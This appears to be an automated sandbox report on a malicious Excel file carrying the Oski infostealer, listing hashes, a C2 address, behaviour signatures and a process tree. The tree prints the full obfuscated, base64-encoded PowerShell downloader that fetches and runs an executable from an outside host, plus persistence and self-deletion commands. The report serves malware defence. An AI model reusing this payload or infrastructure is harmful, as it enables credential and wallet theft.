Analysis

  • max time kernel
    255s
  • max time network
    257s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    06/08/2021, 13:51

General

  • Target

    SAMPLE_ORDER_.xls

  • Size

    43KB

  • MD5

    bc998900cfb06a407c973873ba745776

  • SHA1

    232f5703a4744258407157e9f3b06b4c15171ef8

  • SHA256

    78bbff7297f8be0a95a2c3942c7c8d80bd6d68bc561543ba7c4275eb2e15e649

  • SHA512

    f80a6648c48ae90d9819cf1297358e1da2503a7a6dfad8398d78bdc9d8c6d02bde409b49ff4033fc70f1512003673c381a052491c431d7ff719abe1ac7b0d473

Malware Config

Extracted

Family

oski

C2

185.212.131.198/ww/

Signatures

  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Loads dropped DLL 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SAMPLE_ORDER_.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:672
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c pO^W^Ers^He^LL -e WwBzAFkAUwBUAEUAbQAuAHQARQB4AFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAdQBOAGkAQwBvAGQAZQAuAEcARQB0AHMAdAByAGkAbgBHACgAWwBTAHkAUwB0AGUAbQAuAGMATwBuAHYARQBSAFQAXQA6ADoAZgByAE8ATQBCAEEAUwBlADYANABTAFQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcASQBBAGIAZwBCAHcAQQBIAGMAQQBkAEEAQgBxAEEASABrAEEAYwB3AEIAeQBBAEcAbwBBAGQAUQBCAGoAQQBIAGMAQQBaAGcAQgBzAEEARwBvAEEAYQB3AEIAbQBBAEcAcwBBAGMAUQBCAGkAQQBIAFkAQQBkAGcAQgAzAEEAQwBBAEEASwBBAEEAZwBBAEMAUQBBAGEAUQBCAHQAQQBIAFkAQQBaAFEAQgBqAEEASABRAEEAYwB3AEIAagBBAEgARQBBAFkAUQBCADMAQQBHADAAQQBkAHcAQgBqAEEARwBnAEEAYQBBAEIAawBBAEgAVQBBAEkAQQBBAHMAQQBDAEEAQQBKAEEAQgAzAEEARwBnAEEAYwB3AEIAbgBBAEgASQBBAGQAdwBCAGkAQQBIAE0AQQBjAGcAQgBtAEEARwBzAEEAWgBBAEIAcgBBAEcAYwBBAGMAdwBCADAAQQBHADQAQQBhAEEAQgB2AEEAQwBBAEEASwBRAEEATgBBAEEAbwBBAGUAdwBBAGcAQQBHAGsAQQBUAFEAQgBRAEEARwA4AEEAVQBnAEIAVQBBAEMAMABBAGIAUQBCAHYAQQBFAFEAQQBWAFEAQgBzAEEARwBVAEEASQBBAEIAaQBBAEcAawBBAFYAQQBCAHoAQQBIAFEAQQBjAGcAQgBCAEEARQA0AEEAVQB3AEIAbQBBAEUAVQBBAGMAZwBBADcAQQBBADAAQQBDAGcAQgBUAEEASABRAEEAUQBRAEIAUwBBAEgAUQBBAEwAUQBCAEMAQQBFAGsAQQBkAEEAQgB6AEEARgBRAEEAVQBnAEIAQgBBAEUANABBAGMAdwBCAEcAQQBFAFUAQQBjAGcAQQBnAEEAQwAwAEEAYwB3AEIAUABBAEYAVQBBAGMAZwBCAGoAQQBHAFUAQQBJAEEAQQBrAEEARwBrAEEAYgBRAEIAMgBBAEcAVQBBAFkAdwBCADAAQQBIAE0AQQBZAHcAQgB4AEEARwBFAEEAZAB3AEIAdABBAEgAYwBBAFkAdwBCAG8AQQBHAGcAQQBaAEEAQgAxAEEAQwBBAEEATABRAEIARQBBAEUAVQBBAGMAdwBCADAAQQBHAGsAQQBUAGcAQgBoAEEASABRAEEAYQBRAEIAUABBAEcANABBAEkAQQBBAGsAQQBIAGMAQQBhAEEAQgB6AEEARwBjAEEAYwBnAEIAMwBBAEcASQBBAGMAdwBCAHkAQQBHAFkAQQBhAHcAQgBrAEEARwBzAEEAWgB3AEIAegBBAEgAUQBBAGIAZwBCAG8AQQBHADgAQQBPAHcAQQBnAEEAQwBZAEEASQBBAEEAawBBAEgAYwBBAGEAQQBCAHoAQQBHAGMAQQBjAGcAQgAzAEEARwBJAEEAYwB3AEIAeQBBAEcAWQBBAGEAdwBCAGsAQQBHAHMAQQBaAHcAQgB6AEEASABRAEEAYgBnAEIAbwBBAEcAOABBAE8AdwBBAGcAQQBIADAAQQBkAEEAQgB5AEEASABrAEEAZQB3AEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEAUABRAEEAawBBAEUAVQBBAGIAZwBCAFcAQQBEAG8AQQBkAEEAQgBGAEEARwAwAEEAYwBBAEEAcgBBAEMAYwBBAFgAQQBCAHMAQQBIAG8AQQBlAGcAQgB1AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgBpAEEARwA0AEEAYwBBAEIAMwBBAEgAUQBBAGEAZwBCADUAQQBIAE0AQQBjAGcAQgBxAEEASABVAEEAWQB3AEIAMwBBAEcAWQBBAGIAQQBCAHEAQQBHAHMAQQBaAGcAQgByAEEASABFAEEAWQBnAEIAMgBBAEgAWQBBAGQAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAFkAQQBMAGcAQQB4AEEARABnAEEATQB3AEEAdQBBAEQASQBBAE0AZwBBAHoAQQBDADQAQQBNAHcAQQAwAEEAQwA4AEEAUgB3AEIANABBAEcATQBBAFEAUQBCAGsAQQBHAGsAQQBlAGcAQgBXAEEARwA0AEEAVABRAEIAdQBBAEQARQBBAFUAZwBCAEMAQQBFADgAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEMAQQBBAEoAQQBCAHkAQQBHAHMAQQBaAGcAQgBwAEEARwBvAEEAYwBnAEIAdQBBAEgAZwBBAGUAUQBCADUAQQBHAFEAQQBZAGcAQgB0AEEASABjAEEAWQB3AEIAawBBAEcAdwBBAGIAZwBCADUAQQBIAGsAQQBkAFEAQgBpAEEARwBVAEEAYQBBAEIAaQBBAEQAcwBBAEQAUQBBAEsAQQBHAEkAQQBiAGcAQgB3AEEASABjAEEAZABBAEIAcQBBAEgAawBBAGMAdwBCAHkAQQBHAG8AQQBkAFEAQgBqAEEASABjAEEAWgBnAEIAcwBBAEcAbwBBAGEAdwBCAG0AQQBHAHMAQQBjAFEAQgBpAEEASABZAEEAZABnAEIAMwBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE4AZwBBAHUAQQBEAEUAQQBPAEEAQQB6AEEAQwA0AEEATQBnAEEAeQBBAEQATQBBAEwAZwBBAHoAQQBEAFEAQQBMAHcAQgBIAEEASABnAEEAWQB3AEIAQgBBAEcAUQBBAGEAUQBCADYAQQBGAFkAQQBiAGcAQgBOAEEARwA0AEEATQBRAEIAUwBBAEUASQBBAFQAdwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEATwB3AEEATgBBAEEAbwBBAFkAZwBCAHUAQQBIAEEAQQBkAHcAQgAwAEEARwBvAEEAZQBRAEIAegBBAEgASQBBAGEAZwBCADEAQQBHAE0AQQBkAHcAQgBtAEEARwB3AEEAYQBnAEIAcgBBAEcAWQBBAGEAdwBCAHgAQQBHAEkAQQBkAGcAQgAyAEEASABjAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEATgBBAEEAMgBBAEMANABBAE0AUQBBADQAQQBEAE0AQQBMAGcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQATQBBAE4AQQBBAHYAQQBFAGMAQQBlAEEAQgBqAEEARQBFAEEAWgBBAEIAcABBAEgAbwBBAFYAZwBCAHUAQQBFADAAQQBiAGcAQQB4AEEARgBJAEEAUQBnAEIAUABBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQBnAEEAQwBRAEEAYwBnAEIAcgBBAEcAWQBBAGEAUQBCAHEAQQBIAEkAQQBiAGcAQgA0AEEASABrAEEAZQBRAEIAawBBAEcASQBBAGIAUQBCADMAQQBHAE0AQQBaAEEAQgBzAEEARwA0AEEAZQBRAEIANQBBAEgAVQBBAFkAZwBCAGwAQQBHAGcAQQBZAGcAQQA3AEEAQQAwAEEAQwBnAEIAOQBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEAIgApACkAfABJAGUAWAA=
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4088
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        pOWErsHeLL -e WwBzAFkAUwBUAEUAbQAuAHQARQB4AFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAdQBOAGkAQwBvAGQAZQAuAEcARQB0AHMAdAByAGkAbgBHACgAWwBTAHkAUwB0AGUAbQAuAGMATwBuAHYARQBSAFQAXQA6ADoAZgByAE8ATQBCAEEAUwBlADYANABTAFQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcASQBBAGIAZwBCAHcAQQBIAGMAQQBkAEEAQgBxAEEASABrAEEAYwB3AEIAeQBBAEcAbwBBAGQAUQBCAGoAQQBIAGMAQQBaAGcAQgBzAEEARwBvAEEAYQB3AEIAbQBBAEcAcwBBAGMAUQBCAGkAQQBIAFkAQQBkAGcAQgAzAEEAQwBBAEEASwBBAEEAZwBBAEMAUQBBAGEAUQBCAHQAQQBIAFkAQQBaAFEAQgBqAEEASABRAEEAYwB3AEIAagBBAEgARQBBAFkAUQBCADMAQQBHADAAQQBkAHcAQgBqAEEARwBnAEEAYQBBAEIAawBBAEgAVQBBAEkAQQBBAHMAQQBDAEEAQQBKAEEAQgAzAEEARwBnAEEAYwB3AEIAbgBBAEgASQBBAGQAdwBCAGkAQQBIAE0AQQBjAGcAQgBtAEEARwBzAEEAWgBBAEIAcgBBAEcAYwBBAGMAdwBCADAAQQBHADQAQQBhAEEAQgB2AEEAQwBBAEEASwBRAEEATgBBAEEAbwBBAGUAdwBBAGcAQQBHAGsAQQBUAFEAQgBRAEEARwA4AEEAVQBnAEIAVQBBAEMAMABBAGIAUQBCAHYAQQBFAFEAQQBWAFEAQgBzAEEARwBVAEEASQBBAEIAaQBBAEcAawBBAFYAQQBCAHoAQQBIAFEAQQBjAGcAQgBCAEEARQA0AEEAVQB3AEIAbQBBAEUAVQBBAGMAZwBBADcAQQBBADAAQQBDAGcAQgBUAEEASABRAEEAUQBRAEIAUwBBAEgAUQBBAEwAUQBCAEMAQQBFAGsAQQBkAEEAQgB6AEEARgBRAEEAVQBnAEIAQgBBAEUANABBAGMAdwBCAEcAQQBFAFUAQQBjAGcAQQBnAEEAQwAwAEEAYwB3AEIAUABBAEYAVQBBAGMAZwBCAGoAQQBHAFUAQQBJAEEAQQBrAEEARwBrAEEAYgBRAEIAMgBBAEcAVQBBAFkAdwBCADAAQQBIAE0AQQBZAHcAQgB4AEEARwBFAEEAZAB3AEIAdABBAEgAYwBBAFkAdwBCAG8AQQBHAGcAQQBaAEEAQgAxAEEAQwBBAEEATABRAEIARQBBAEUAVQBBAGMAdwBCADAAQQBHAGsAQQBUAGcAQgBoAEEASABRAEEAYQBRAEIAUABBAEcANABBAEkAQQBBAGsAQQBIAGMAQQBhAEEAQgB6AEEARwBjAEEAYwBnAEIAMwBBAEcASQBBAGMAdwBCAHkAQQBHAFkAQQBhAHcAQgBrAEEARwBzAEEAWgB3AEIAegBBAEgAUQBBAGIAZwBCAG8AQQBHADgAQQBPAHcAQQBnAEEAQwBZAEEASQBBAEEAawBBAEgAYwBBAGEAQQBCAHoAQQBHAGMAQQBjAGcAQgAzAEEARwBJAEEAYwB3AEIAeQBBAEcAWQBBAGEAdwBCAGsAQQBHAHMAQQBaAHcAQgB6AEEASABRAEEAYgBnAEIAbwBBAEcAOABBAE8AdwBBAGcAQQBIADAAQQBkAEEAQgB5AEEASABrAEEAZQB3AEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEAUABRAEEAawBBAEUAVQBBAGIAZwBCAFcAQQBEAG8AQQBkAEEAQgBGAEEARwAwAEEAYwBBAEEAcgBBAEMAYwBBAFgAQQBCAHMAQQBIAG8AQQBlAGcAQgB1AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgBpAEEARwA0AEEAYwBBAEIAMwBBAEgAUQBBAGEAZwBCADUAQQBIAE0AQQBjAGcAQgBxAEEASABVAEEAWQB3AEIAMwBBAEcAWQBBAGIAQQBCAHEAQQBHAHMAQQBaAGcAQgByAEEASABFAEEAWQBnAEIAMgBBAEgAWQBBAGQAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAFkAQQBMAGcAQQB4AEEARABnAEEATQB3AEEAdQBBAEQASQBBAE0AZwBBAHoAQQBDADQAQQBNAHcAQQAwAEEAQwA4AEEAUgB3AEIANABBAEcATQBBAFEAUQBCAGsAQQBHAGsAQQBlAGcAQgBXAEEARwA0AEEAVABRAEIAdQBBAEQARQBBAFUAZwBCAEMAQQBFADgAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEMAQQBBAEoAQQBCAHkAQQBHAHMAQQBaAGcAQgBwAEEARwBvAEEAYwBnAEIAdQBBAEgAZwBBAGUAUQBCADUAQQBHAFEAQQBZAGcAQgB0AEEASABjAEEAWQB3AEIAawBBAEcAdwBBAGIAZwBCADUAQQBIAGsAQQBkAFEAQgBpAEEARwBVAEEAYQBBAEIAaQBBAEQAcwBBAEQAUQBBAEsAQQBHAEkAQQBiAGcAQgB3AEEASABjAEEAZABBAEIAcQBBAEgAawBBAGMAdwBCAHkAQQBHAG8AQQBkAFEAQgBqAEEASABjAEEAWgBnAEIAcwBBAEcAbwBBAGEAdwBCAG0AQQBHAHMAQQBjAFEAQgBpAEEASABZAEEAZABnAEIAMwBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE4AZwBBAHUAQQBEAEUAQQBPAEEAQQB6AEEAQwA0AEEATQBnAEEAeQBBAEQATQBBAEwAZwBBAHoAQQBEAFEAQQBMAHcAQgBIAEEASABnAEEAWQB3AEIAQgBBAEcAUQBBAGEAUQBCADYAQQBGAFkAQQBiAGcAQgBOAEEARwA0AEEATQBRAEIAUwBBAEUASQBBAFQAdwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEATwB3AEEATgBBAEEAbwBBAFkAZwBCAHUAQQBIAEEAQQBkAHcAQgAwAEEARwBvAEEAZQBRAEIAegBBAEgASQBBAGEAZwBCADEAQQBHAE0AQQBkAHcAQgBtAEEARwB3AEEAYQBnAEIAcgBBAEcAWQBBAGEAdwBCAHgAQQBHAEkAQQBkAGcAQgAyAEEASABjAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEATgBBAEEAMgBBAEMANABBAE0AUQBBADQAQQBEAE0AQQBMAGcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQATQBBAE4AQQBBAHYAQQBFAGMAQQBlAEEAQgBqAEEARQBFAEEAWgBBAEIAcABBAEgAbwBBAFYAZwBCAHUAQQBFADAAQQBiAGcAQQB4AEEARgBJAEEAUQBnAEIAUABBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQBnAEEAQwBRAEEAYwBnAEIAcgBBAEcAWQBBAGEAUQBCAHEAQQBIAEkAQQBiAGcAQgA0AEEASABrAEEAZQBRAEIAawBBAEcASQBBAGIAUQBCADMAQQBHAE0AQQBaAEEAQgBzAEEARwA0AEEAZQBRAEIANQBBAEgAVQBBAFkAZwBCAGwAQQBHAGcAQQBZAGcAQQA3AEEAQQAwAEEAQwBnAEIAOQBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEAIgApACkAfABJAGUAWAA=
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:412
        • C:\Users\Admin\AppData\Local\Temp\lzzn.exe
          "C:\Users\Admin\AppData\Local\Temp\lzzn.exe"
          4⤵
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2068
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BqppCjWADhQ" /XML "C:\Users\Admin\AppData\Local\Temp\tmp4051.tmp"
            5⤵
            • Creates scheduled task(s)
            PID:4088
          • C:\Users\Admin\AppData\Local\Temp\lzzn.exe
            "C:\Users\Admin\AppData\Local\Temp\lzzn.exe"
            5⤵
            • Loads dropped DLL
            • Checks processor information in registry
            • Suspicious use of WriteProcessMemory
            PID:3912
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c taskkill /pid 3912 & erase C:\Users\Admin\AppData\Local\Temp\lzzn.exe & RD /S /Q C:\\ProgramData\\867310037817637\\* & exit
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2456
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /pid 3912
                7⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1636

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/412-282-0x0000029E30FF0000-0x0000029E30FF2000-memory.dmp

          Filesize

          8KB

        • memory/412-397-0x0000029E30FF6000-0x0000029E30FF8000-memory.dmp

          Filesize

          8KB

        • memory/412-389-0x0000029E31150000-0x0000029E31151000-memory.dmp

          Filesize

          4KB

        • memory/412-350-0x0000029E31100000-0x0000029E31101000-memory.dmp

          Filesize

          4KB

        • memory/412-283-0x0000029E30FF3000-0x0000029E30FF5000-memory.dmp

          Filesize

          8KB

        • memory/412-274-0x0000029E30F70000-0x0000029E30F71000-memory.dmp

          Filesize

          4KB

        • memory/412-277-0x0000029E31180000-0x0000029E31181000-memory.dmp

          Filesize

          4KB

        • memory/672-454-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

          Filesize

          64KB

        • memory/672-452-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

          Filesize

          64KB

        • memory/672-123-0x0000023B9E070000-0x0000023B9FF65000-memory.dmp

          Filesize

          31.0MB

        • memory/672-122-0x00007FFD107A0000-0x00007FFD1188E000-memory.dmp

          Filesize

          16.9MB

        • memory/672-121-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

          Filesize

          64KB

        • memory/672-115-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

          Filesize

          64KB

        • memory/672-116-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

          Filesize

          64KB

        • memory/672-117-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

          Filesize

          64KB

        • memory/672-118-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

          Filesize

          64KB

        • memory/672-455-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

          Filesize

          64KB

        • memory/672-114-0x00007FF784640000-0x00007FF787BF6000-memory.dmp

          Filesize

          53.7MB

        • memory/672-453-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

          Filesize

          64KB

        • memory/2068-436-0x000000000C080000-0x000000000C0B4000-memory.dmp

          Filesize

          208KB

        • memory/2068-428-0x00000000059E0000-0x00000000059E1000-memory.dmp

          Filesize

          4KB

        • memory/2068-434-0x00000000093E0000-0x00000000093F3000-memory.dmp

          Filesize

          76KB

        • memory/2068-433-0x0000000005D70000-0x0000000005D71000-memory.dmp

          Filesize

          4KB

        • memory/2068-432-0x0000000005A90000-0x0000000005A91000-memory.dmp

          Filesize

          4KB

        • memory/2068-431-0x0000000005B20000-0x000000000601E000-memory.dmp

          Filesize

          5.0MB

        • memory/2068-426-0x0000000000FE0000-0x0000000000FE1000-memory.dmp

          Filesize

          4KB

        • memory/2068-430-0x0000000005BC0000-0x0000000005BC1000-memory.dmp

          Filesize

          4KB

        • memory/2068-435-0x0000000009810000-0x00000000098A3000-memory.dmp

          Filesize

          588KB

        • memory/2068-429-0x0000000006020000-0x0000000006021000-memory.dmp

          Filesize

          4KB

        • memory/3912-460-0x0000000000400000-0x0000000000438000-memory.dmp

          Filesize

          224KB

        • memory/3912-458-0x0000000000400000-0x0000000000438000-memory.dmp

          Filesize

          224KB